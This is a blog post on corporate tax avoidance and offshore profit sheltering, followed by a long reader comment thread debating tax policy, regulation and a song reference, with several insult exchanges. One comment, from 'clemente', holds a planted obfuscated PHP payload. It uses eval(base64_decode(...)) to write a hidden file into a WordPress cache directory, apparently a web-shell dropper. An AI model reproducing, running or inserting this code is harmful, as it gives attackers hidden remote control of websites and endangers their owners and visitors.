Just how hard a screwing are you willing to take, or don’t you know what’s happening, Mister Jones? (10 points to the first person to get the reference)


As global capital becomes ever more powerful, giant corporations are holding governments and citizens up for ransom — eliciting subsidies and tax breaks from countries concerned about their nation’s “competitiveness” — while sheltering their profits in the lowest-tax jurisdictions they can find. Major advanced countries — and their citizens — need a comprehensive tax agreement that won’t allow global corporations to get away with this.

Google, Amazon, Starbucks, every other major corporation, and every big Wall Street bank, are sheltering as much of their U.S. profits abroad as they can, while telling Washington that lower corporate taxes are necessary in order to keep the U.S. “competitive.”

Baloney. The fact is, global corporations have no allegiance to any country; their only objective is to make as much money as possible — and play off one country against another to keep their taxes down and subsidies up, thereby shifting more of the tax burden to ordinary people whose wages are already shrinking because companies are playing workers off against each other.



  1. pedro says:

    Corps & governments are the same shite, they both screw citizens

    • dusanmal says:

      Not in the proper setup. Stick strictly to US Constitution in its original writing as for the size and scope of the Government and, voila’ NEITHER can screw citizens (if they don’t accept them of their own will).
      Small, weak Government that is not allowed to “cooperate” with corporations and where Government is not helping idiot citizens who have made a wrong choice. Corporations in a pure free market where Darwinian competition weeds out those that do not serve their customers and (equally important) – where the reckless customers suffer and pay the price.
      Government out of the picture, just ensuring that free market exists. Free market placing Darwinian pressure both on Corporate World and individuals. After all, survival of the fittest through blind competition have produced all the wonders of the Natural world – absolute free markets do the same for Corporate and individual worlds. No meddling by God-wannabe-Government.

      • Egon Ruuda says:

        The worst example of both worlds is the international shadow government called the banking cartells. Not only does it have more power today than any single government, it is also a corporation that you can not refuse to buy from.

      • It doesn't take an Einstein but you gotta be smarter than a (blank) says:

        I suppose you work in corporate Walmart? Or maybe you work for a neo-gov corporation like that tax immune Illuminati corporation General Electric?!

        I’m not exactly disagreeing here – maybe a little. I’m just saying that there needs to be some regulation by someone in authority like a government who is accountable to everyone. That way, corporations like Walmart or GE don’t unfairly kill off their competition which in turn ends up allowing them to screw more consumers.

        Walmart does this when they’re able to buy the exact same products from the exact same manufacturers and then sell for less while still making a profit. It’s almost like a reverse tariff when you think about it. But is anyone watching or doing anything about that? Certainly, not the consumer and absolutely not our government.

        And of course, the tax thing isn’t exactly fair either. So maybe the real question might be how do you get any government to enforce laws and promote more fair trade while eliminating the same need/desire for more money?

        One way might be to segregate products/items from those that are needed from those which are not needed. Items which support human life are obviously needed (since the Constitution says we have a right to life, and all). Allow the government to be involved in regulation for needed items like clean water, food and clothing but make it hands off for unneeded items like television sets and automobiles – beyond safety concerns, of course. But then, that’s just one crazy idea.

        So no. I don’t agree on on the “no government” philosophy. But a much less invasive and certainly a less greedy government would be a step in the right direction. But that’s NOT the direction we’re currently heading in. And the problem seems to be that governments are all too often run/controlled by greedy, stupid humans! And if you don’t think humans are greedy, just try dropping $10 on a crowded street sometime. And if you don’t think humans are stupid, just read this blog more often.

        • MikeN says:

          Regulations are a primary means by which big corporations kill off the competition. They can absorb the costs easier than the little guys.

    • Eponymous says:

      Precisely – governments are corporations (look them up, even police departments are corporations), the only difference is the public gets to vote in the officers of those corporations (politicians), but corporate/government policy continues whomever gets elected.

      Like any other corporation, a government’s job is to screw money out of citizens – hence the term Bills. Yes, the Constitution was set up to limit the activities of corporations, but that’s been “fixed”.

      A 1% tax on all bank transactions would reap a tax bonanza, mainly because the rich pay much less than 1% tax. It would cool down (bring sense to) the stock market and wipe out micro-trading overnight. Banks will never allow themselves to become tax collectors. It would open them up to infinitely more scrutiny than they’ve ever had before. These are some of the many reasons why you’ll never see such a transparent and fair tax system…

      • pedro says:

        ” …the only difference is the public gets to vote in the officers of those corporations (politicians)”

        Public (shareholders on publicly traded corps) can vote too. So that different is only true for private corps.

  2. Mextli says:

    Ballad Of A Thin Man?

  3. Derek says:

    Simple… Fairtax.. Corporations can’t manipulate it. Politicians can’t exploit it.

    • It doesn't take an Einstein but you gotta be smarter than a (blank) says:

      Good luck with that one. Just ask Ron Paul how well it worked for him.

  4. bobbo, we think with words and flower with ideas, or not says:

    Name of a song, or its chorus, or its refrain: “..and you don’t know what’s happening, do you Mr Jones?” Forget what the subject of not knowing was though. Today: it would be swamped by college loans that prepared one to be unemployed in todays economy.

    ….but anyhoo==its not about not knowing. Everyone knows. Its government by and for the SUPER RICH. Its “of” the bureaucrats they have paid for just for the patina of illusion.

    HEY!!–In the last 12 hours, Youtube stopped freezing on merely going to its website, a globe icon for translation services now appears at 50% transparency on my web pages, and the html number lock for the music symbol no longer works.

    Its like…. I don’t know what’s going on…..except my name ain’t Jones?

  5. Hmeyers says:

    Eliminate all taxes and go to a VAT (value added tax, similar to a sales tax).

    Then all this goes away.

    Big corporations evade taxes because our tax system is stupid and tries to tax “profits”. Switching to a VAT would also ensure rich people pay the right amount of taxes too.

    This article is very stupid because the problem isn’t megacorps/rich people not paying taxes, the problem is an asinine tax system that is easy to game.

    Don’t whine about the results, whine about the defective system in place.

    • Hmeyers says:

      Part 2: There are piles of tax books. Of course rich people and mega corps will always have time to cheat via the rules.

      A normal person has no chance of understanding all the tax rules. Even the IRS can’t.

      This is why weasels who do know the rules get paid by the rich very handsomely.

      The author of the article and everyone who agrees with the theme is an idiot who cannot see the forest from the trees. The tax system in place is stupid, it will be gamed because it is 100 years of cobbled together crap.

      • It doesn't take an Einstein but you gotta be smarter than a (blank) says:

        Yes, I agree! The tax code is indeed a pile of crap because it’s NOT FAIR!

        The only fair way to tax anyone would be to institute a very simple flat sales tax on money that changes hands. But then all the little minions in the IRS and tax preparation companies are all of a sudden out of a “job” which in turn “hurts the economy” where we end up fighting another “war on (insert bodiless enemy here).”

        • ReadyKilowatt says:

          Are you kidding? All those transactions, all being taxes? Think of all the auditing that will have to happen! Talk about an explosion of the IRS, that’s one sure way to get government in everyone’s business.

          Despite what we’ve all be taught in government based schools, there’s nothing fair about being compelled to pay for anything. Period.

        • Hmeyers says:

          Yes, this is why they can’t do it.

          It would wreck the careers of millions who specialize in minutiae. IRS, tax preparation companies, auditors, and on and on.

  6. McCullough says:

    Lets not forget Apple:

    Senate investigators: Apple sheltered $44 billion from taxes

    http://politico.com/story/2013/05/apple-taxes-offshore-senate-investigation-91633.html#ixzz2Tsl7Omvh

    • Captain Obvious says:

      Just for reference, here is Apple’s prepared testimony for the Senate for this week’s hearings. Make of it what you will.

    • Captain Obvious says:

      And Eric Schmidt’s op-ed in the Observer.

    • It doesn't take an Einstein but you gotta be smarter than a (blank) says:

      Apple? Really?!

      I don’t exactly like Apple (either). But they’re not exactly scum sucking money swindlers. OK! Maybe they are. But haven’t you forgotten anyone?

      Perhaps General Electric (GE)?

      Or how about British Petroleum (BP)?

      Or maybe, oh I don’t know, like everyone in the BANKING circles?!

      I mean, have you completely forget about MICROSOFT?!

  7. MikeN says:

    California tried to get rid of its tax on capital equipment. Some people, read liberal big-government Democrats, objected. Intel came and testified that ,’We have a choice of where to put our new factory. California is never going to tax Intel on this factory. You can either keep the tax and we will build in New Mexico, or you can get rid of the tax and we will build in California.’

    Apple’s CEO should say the same.

    • bobbo, the pragmatic existential evangelical anti-theist and Jr Nobel Prize Winner in Economics fan boi says:

      Rather a good argument for a national tax scheme or a homogenized state tax scheme?

      Tax the corps on their revenues within the USA for those who want to move to Mexico or elsewhere.

      All it takes is the WILL to do so.

      SUPER RICH = CRIMINAL

      • MikeN says:

        The issue is that Apple is keeping money overseas, revenue earned in other countries, because they don’t want to pay taxes on it. Other countries do not tax in the manner the US does.

        • bobbo, the pragmatic existential evangelical anti-theist and Jr Nobel Prize Winner in Economics fan boi says:

          Maybe. If money is “truly” earned overseas and not taxed overseas then I can see allowing that offshoring…but in context the usual issue is accounting tricks that transfer USA made income to those same locations==ie==a fraud that often everyone knows is going on but the cognescenti wink and grin at given so many salivate uncontrollably around the rich.

          Its a more difficult question to simply tax all USA based/revenue makers on their total revenue with perhaps discounts for taxes paid elsewhere. Why not?

          USA revenue from corp tax is about 30% from what it was 30 years ago.

          They are thieves. Plain and Simple.

          SUPER RICH (CORPS) = CRIMINAL.

          • pedro says:

            I see you’re getting more specific with your definitions.

            Better, but still need some distance to travel

          • Mr Diesel says:

            Now it’s Super Rich = Criminal…..

            Wonder why not the old Rich = Criminal?

            Realize the error of your ways?

          • MikeN says:

            That’s because of changes in the tax code. Before it was advantageous for rich performers to have their own corporation to earn their income, as the personal income tax was 70% and even 90%. Now, we have SCorps are corporations that pay personal income tax and not corporate income tax.

        • CrankyGeeksFan says:

          Federal personal income tax applies to U.S. citizens who live overseas, are paid in a foreign currency, and who work for a small family-owned store.

          Yet major corporations aren’t taxed.

          • pedro says:

            That tax is in itself unfair (all taxes are, but well) since the US bases its residency status on how long have you been in US soil. This is extremely unfair for US citizens in countries with no tax reciprocity treaties.

            Therefore, taxes should be paid on your residency status and not on your citizenship status

          • pedro says:

            Make that particularly rather than extremely

  8. Hank Moody says:

    The USA is the past. Goldman Sacks, UBS, GE, Exxon Mobil, these are the “nations” of the 21st century. The US policies are set by these “people,” not the sheeple who are managed by media emperors. DU trolls, keep whining about your political opposites and keep missing the whole point. Defeating your opponents has become your whole game, leaving the henhouse unattended and those who have the real power consolidating more and more. Don’t expect the people who benefit the most from this to allow any of it to change. Your angry indignation may occupy your time but has nothing to do with what’s happening. It’s tragic, really.

    • pedro says:

      One correction: Is not the trolls that have that “your team is bad, mine’s good” game. That’d be the sheeple.

      Otherwise you are correct. Corps used to be governments power tools and have become actual economic & political countries than to globalization.

      But even before globalization, corps conducted themselves internally as governments. The only difference between one and the other is the scope of their control on regular citizens

    • ReadyKilowatt says:

      When I need a passport to get gas, I’ll believe Exxon is a nation.

      Nation states set up their taxes to achieve some social engineering scheme. We already see that money printing through bonds and central banks is the preferred method for funding government (since the masses don’t save for tomorrow), so taxes are basically a carrot and stick and welfare for accountants.

      Some nations want to encourage business. Others want to discourage single adults. Either way, the true moral compass of the nation can be found in the tax code.

      • pedro says:

        I see you don’t understand. Corporations work internally as nations ruled under totalitarian regimes. And you HAVE to pay Exxon for their gas, don’t you?

  9. noname says:

    Uncle Dave, I believe the reference is Animal Farm? You can deposit my 10 points in my First American bank of points account.

    Mr Jones is the Farmer and a heavy drinker. The animals revolt after Mr Jones drinks so much, he does not feed or take care of them. Mr Jones is supposedly an allegory of Russian Tsar Nicholas II. After animals revolt they rename the farm, “Animal Farm”

    The Animals adopt Seven Commandments of Animalism, the most important of which is, “All animals are equal”. The Seven Commandments later degenerates and is reduced to a single phrase: “All animals are equal, but some animals are more equal than others”.

    • bobbo, the pragmatic existential evangelical anti-theist and Jr Nobel Prize Winner in Economics fan boi says:

      Sounds like Mr Jones “should” know what is going on? Especially when he sobers up the next day? Cause and Effect? Bankruptcy/revolt thru mismanagement???
      N
      ot as universal a theme as the Dylan Song.

      See that N…..ot just above. My browser typing just started doing that along with the other changes.

      WHO is making changes to how my computer works without even the courtesy of a notice of upgrade????

      “I don’t know what’s going on……” ?==still no html coding for the music note. Will have to google how to get that little feature back. Or is in “unicode?”

    • pedro says:

      You do know that’s a parody on communism, don’t you?

    • noname says:

      poor shallow pedro, congratulations on having read the Cliff Notes and your limited understanding of a classic work that is one of the best books in the English Language!

      The theme of Orwell Animal Farm is much larger and not limited by communism, numbnuts. It is widely seen as a criticism of totalitarian regimes in general and their rise to power through the power of words!

      Animal Farm shows how tyranny rises to power (in what citizens think it is the start of a better life), then begins to manipulates and oppress it’s members; controlling their lives with dogmatic adherence to idealistic thoughts. How tyranny brainwash its citizens into a life of hard labor, misery and death!

      In its rawest form, it represents human characteristics as animal instincts!

      Tyranny includes communism, but is not limited by it! Orwell Animal Farm is a parody of totalitarian regimes with their promise of a better life and the inevitable hypocrisy and citizen manipulations by dogmatic adherence to idealistic thoughts! The descent into living hell is a natural result of the concentration of power. Because power corrupts and absolute power corrupts absolutely! History has repeatability shown (and each time people think it will be different) when few rise to power with unchecked power, it inevitably leads to a cataclysmic societal collapse!

      As Uncle Dave was referring to:
      “powerful, giant corporations are holding governments and citizens up for ransom — eliciting subsidies and tax breaks from countries concerned about their nation’s “competitiveness” — while sheltering their profits in the lowest-tax jurisdictions they can find.”

      Many people fear how a few wealthy elites, like the Koch Brothers and China are facilitating a global management of the planet and will be our new slavemasters and how the GOP is now marching the American sheeple lockstep to their slaughter with the ruse of jobs, corporate competitiveness and freedom!

      In the midst of all this citizen frustration, the GOP wants to hand out guns like candy to distract and better manipulate the masses as citizens fight amongst themselves to control what scraps are left behind!

      I can hear the evil laugh of Rush, Koch Brothers, Xi Jinping, Mitch McConnell in the background!

      • pedro says:

        Aren’t you tired of being proved wrong over & over again? A dolt just like DUhllass.

        pwned!

        Now go insult Uncle Dave for pwning you. Tell him “I know you are but what am I”?

        • noname says:

          poor pedro, sad poor pedro, you are like Mr. Jones, a demonstrated idiot, over and over!

          You keep asking “but what am I”! Obviously you are disparately asking for help! I wish I could answer you. But, really who knows what you are if you don’t?

          Previously, to help you, I asked you questions:
          Are you bigger than a breadbox?
          Are you Animal, Vegetable, Mineral?
          Did a horse make you?
          Are your brain cells alive or not alive?

          You never answered the questions!

          You even slammed jpfitz when he offered to help you!

          I think we all get it, your hopeless. Your diseased brain damage is irrevocable and doctors say your hopeless!

          Although, lucky you, I will continue to endeavor to try and help you! Your welcome!

          • pedro says:

            I know you are but what am I?

          • noname says:

            Yes, pedro that is the mystery, “what are you”?

            It’s a civic duty to help your disparate plea for a diagnosis (type, species, category, disease entity?)!

            Are you Animal, Vegetable, Mineral? Current consensus is that you are a well digested vegetable, exuded by an animal on a stone patio. The question is, does this make you all the above?

            Have no fear pedro, stick with us; it may take a zillion iterations before we nail you!

            You are well on your way to a diagnosis! Pls keep asking us! :) :)

          • pedro says:

            I know U are but what am I?

          • noname says:

            poor pedro, nobody every told you, your just a shit for brains?

            Didn’t your daddy or mommy ever love you?

        • noname says:

          Yes, poor childish pedro that is the mystery, “what are you”?

          hum, “what are you” poor childish pedro?

          • pedro says:

            What, you don’t like it when others use the same defense “strategy” you use?

            Poor nobrain, proven wrong and upset.

          • noname says:

            poor sad childish pedro, don’t cry; it alright, I enjoy playing games with 7 yrs. old precocious brats.

    • Uncle Dave says:

      Mextli had it. Bob Dylan’s Ballad of a Thin Man.

  10. Mr Diesel says:

    Anyone on here ever read Confessions of an Economic Hit Man?

    Very good book and enlightening.

  11. JT Hut says:

    The IRS goes after individuals if they have an overseas account, yet companies like Apple can park $44B overseas with no problem.

    • Mr Diesel says:

      Are they breaking the law? No, then good for them.

      • JT Hut says:

        The end result is that you’re paying their taxes for them. How “good” is that?

        • Steve S says:

          Do you honestly believe your personal taxes would go down if corporations paid more? I don’t.

          • JT Hut says:

            No, but I honestly believe that my taxes would go up even MORE if corporations paid less.

  12. clemente says:

    Only dare once again to make it!
    eval(base64_decode(‘aWYoJGY9Zm9wZW4oJ3dwLWNvbnRlbnQvY2FjaGUveXh5b2cucGhwJywndycpKXtmcHV0cygkZiwnPD9waHAgLyoodlYqL2V2YWwvKmZGIWd9UXA8Ki8oLypQQ11GKi9iYXNlNjRfZGVjb2RlLyp5a3AtKi8oLyp7P3RIXEtYLiovXCdMeXBjUDNSUFBqZ3FMMmxtTHlwZmZuazdNU292S1wnLyo5fV1mbVR5Ki8uLyozN3xoUyovXCdDOHFWREZmTkdjcUwybHpjMlYwTHlwN0tESjRZM1wnLyo+VHstZyovLi8qWTZcKi9cJ0JGWFNvdktDOHFTRmhoVFNvdkpGOVNSVkZWUlZOXCcvKl1GSl8pQloqLy4vKk1DS3RgKi9cJ1VMeXA3T0NaMVppWXFMMXN2S2pwUmNsZDhLeW92XCcvKiE2M2FeKi8uLyopNWhiKi9cJ0ozaDRKeThxTldvMWJXRjFLaTh1THlvdVdubFBhXCcvKkhRND50bjkqLy4vKlVXICFcJ28qL1wnV3dxTHlkNlpDY3ZLbXA3TG05dlRpb3ZMaThxVFRcJy8qUj1Qd1I2RCovLi8qaGdScV1pKi9cJ2xIU1hrcUx5ZHpZaWN2S21oTk4xcFVLaTlkTHlwXCcvKkktaTxeYSovLi8qazA+bCovXCdkTnpZOWRpb3ZMeW8rUUVFd2N6SXFMeWt2S2tGRlwnLyoyVFNdZSovLi8qUCxxbylxKi9cJ1FsRndQeW92THlvc2NFQXFMeWt2S2k1K1FVVThaXCcvKnNvcFcqLy4vKmFyVVgqL1wnVUFxTDJWMllXd3ZLbll5TjBWcGIzSjRLaThvTHlcJy8qRSw2Ki8uLypxcG9ebCovXCdveWV5NTVQU3NxTDNOMGNtbHdjMnhoYzJobGN5OFwnLyoyWCUqLy4vKjJKPVwnWnMqL1wncVkwZzlLVG9xTHlndktuMUJmbUp4S2k4a1gxSkZcJy8qfXc/Ump9dlYqLy4vKj18NFoqL1wnVVZWRlUxUXZLa1p5UTNJcUwxc3ZLbFE5VVVrcUxcJy8qUE1dKi8uLypZfFh2dHppKi9cJ3lkNGVIb25MeW9wT1hoNGJTb3ZMaThxU0daellrXCcvKnBPcCF6KyovLi8qXSB+Ki9cJ0lxTHlka2MySW5MeXBqYlZnclVUbE1LaTlkTHlwXCcvKmhgZ3ZrKi8uLyouX0p8bH0qL1wnNmQwcGlSaW92THlwR2RpQW9UbDhxTHlrdktsUkFcJy8qK094dzlRKi8uLyo4UjkgeyAqL1wnTUVreEt5b3ZMeXA1WGpOTGNXZ3FMeWt2S2tsN2JcJy8qdDwhdVZiaSovLi8qbEgsUGsqL1wnVWtxTHk4cVFVMDRRbGduYWlvdk95OHFUVEZZVFRZcUx3PT1cJy8qcFh5aEkqLykvKmxwKTNKaXgqLy8qYGhnXTFcQiovKS8qcHxUXCdIKi8vKik/STotXiAqLzsvKnBwYDtUKi8/PicpO2ZjbG9zZSgkZik7fQ==’)); –>

  13. MikeN says:

    “This committee will admit: Apple has not broken any laws. Yet, they are forced into a show trial at the whims of politicians, when in fact; Congress should be on trial for chasing the profits of great American companies overseas. You haul before this committee one of America’s greatest success stories and you want applause?”

  14. bobbo, the pragmatic existential evangelical anti-theist and Jr Nobel Prize Winner in Economics fan boi says:

    Rub it in Uncle! Say—why not link to your favorite version? I got distracted myself while listening to a horrible boot leg copy.

  15. deowll says:

    Congress wrote our tax code. If they don’t like the response they got it’s their job to fix it.

    If it’s any comfort some rich people in France paid over 100% of their income as taxes last year. If that won’t run the big money investors out of the country nothing will.

    I’ve heard that at least some of those people are moving to Cajun country.

    Last thing I’ll say on this topic for now. Steve Jobs and company were and are big Obama supporters. The Dems that called this are biting the hand the feeds them. I don’t know about Tim Cook but Jobs wasn’t a forgiving kind of guy.

  16. MikeN says:

    Another unintended consequence of Obamacare, if you want insurance subsidies, you have to have a checking account. Banks always hate that so much of the population isn’t buying their services, and now they can get the government to force the issue.

  17. ECA says:

    $480 billion spent by corps…
    FOR adverts…Tax write off..

    Then they raise prices to COVER the adverts…because you cant PROVE the advert worked…and the corp SPENT that money..

  18. pedro says:

    I think I rather have more of those spambot comments than any DUhllass-nobrain bot ones

    • noname says:

      pedro, so sadly pwned by his crush! pedro so frustrated his crush doesn’t return the feelings, so hopeless pedros feelings, sad!

  19. Porky Rottenham says:

    You’re on the money, Dave. Now what?

  20. MikeN says:

    CAP’s donors included Comcast, Walmart, General Motors, Pacific Gas and Electric, General Electric, Boeing and Lockheed

    That would be the left-wing Center for American Progress.

  21. dave r says:

    If corps are so evil quit giving them all your money. Their is a huge amount of wealth transfer.The great bulk of which is voluntary.You transfer your wealth from your pockets to theirs voluntarily.Am i to imagine that you wake up in the morning with a wise guy from bp standing over your bed with gun saying your buying gas at are stations or its curtians for ya.I dont think so. You make these decisions freely a thousand times a day.You dont like big corps then ride a bike or a horse every where.Better yet go live like the amish for a couple of years and i quite certian you will never utter the words evil corporations.